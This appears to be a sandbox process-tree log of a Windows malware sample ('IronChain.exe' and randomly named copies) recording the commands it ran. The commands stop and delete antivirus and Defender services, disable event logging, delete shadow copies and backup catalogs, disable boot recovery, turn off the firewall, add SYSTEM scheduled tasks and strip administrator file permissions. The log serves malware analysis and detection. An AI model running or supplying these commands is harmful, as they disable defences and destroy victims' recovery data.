C:\Windows\System32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVG3⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\sc.exesc delete wscsvc3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Sense3⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\System32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe"C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "command /c ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ver"3⤵
-
C:\Windows\system32\cmd.exe"cmd /c ver"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MKiPcRrVoXsdoqfytgSGepcxuHrViatiy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MKiPcRrVoXsdoqfytgSGepcxuHrViatiy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MKiPcRrVoXsdoqfytgSGepcxuHrViatiy""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MKiPcRrVoXsdoqfytgSGepcxuHrViatiy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /reset"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /remove "Administrators""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\S4yxsYtJe1mQH5o5sItbDIaseWmhoqn.exe" /remove "Admin""3⤵
-
-
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "command /c ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ver"3⤵
-
C:\Windows\system32\cmd.exe"cmd /c ver"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "WmienDdRoNwYsuUzpKd1aKtSeOSCv9c" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WmienDdRoNwYsuUzpKd1aKtSeOSCv9c" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "WmienDdRoNwYsuUzpKd1aKtSeOSCv9c""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "WmienDdRoNwYsuUzpKd1aKtSeOSCv9c"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "Mriucgrlo5sMo0f3trS3eUc4uMr4ijtIy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Mriucgrlo5sMo0f3trS3eUc4uMr4ijtIy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "Mriucgrlo5sMo0f3trS3eUc4uMr4ijtIy""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "Mriucgrlo5sMo0f3trS3eUc4uMr4ijtIy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /reset"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "Administrators""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "DZCPMCCI$""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "DZCPMCCI$"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "Authenticated Users""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IU4RO6NWCHWnAGINHl5XH.exe" /grant "Users:RX""3⤵
-
-
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "ICSROGNHCHuJAeINtaMLE" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "ICSROGNHCHuJAeINtaMLE" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "ICSROGNHCHuJAeINtaMLE""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "ICSROGNHCHuJAeINtaMLE"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MPi5cGrLotsOoYfSt7S8eAcmu0rIiOt5y" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MPi5cGrLotsOoYfSt7S8eAcmu0rIiOt5y" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MPi5cGrLotsOoYfSt7S8eAcmu0rIiOt5y""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MPi5cGrLotsOoYfSt7S8eAcmu0rIiOt5y"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete AVP3⤵
-
-
C:\Windows\system32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config KAV start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete KAV3⤵
-
-
C:\Windows\system32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe1⤵
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "I7dROYNWCHf6A5INkTWt8" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "I7dROYNWCHf6A5INkTWt8" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "I7dROYNWCHf6A5INkTWt8""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "I7dROYNWCHf6A5INkTWt8"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe"C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe1⤵
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe1⤵
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IhmRO1NGCH3SAmINPa7G7" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
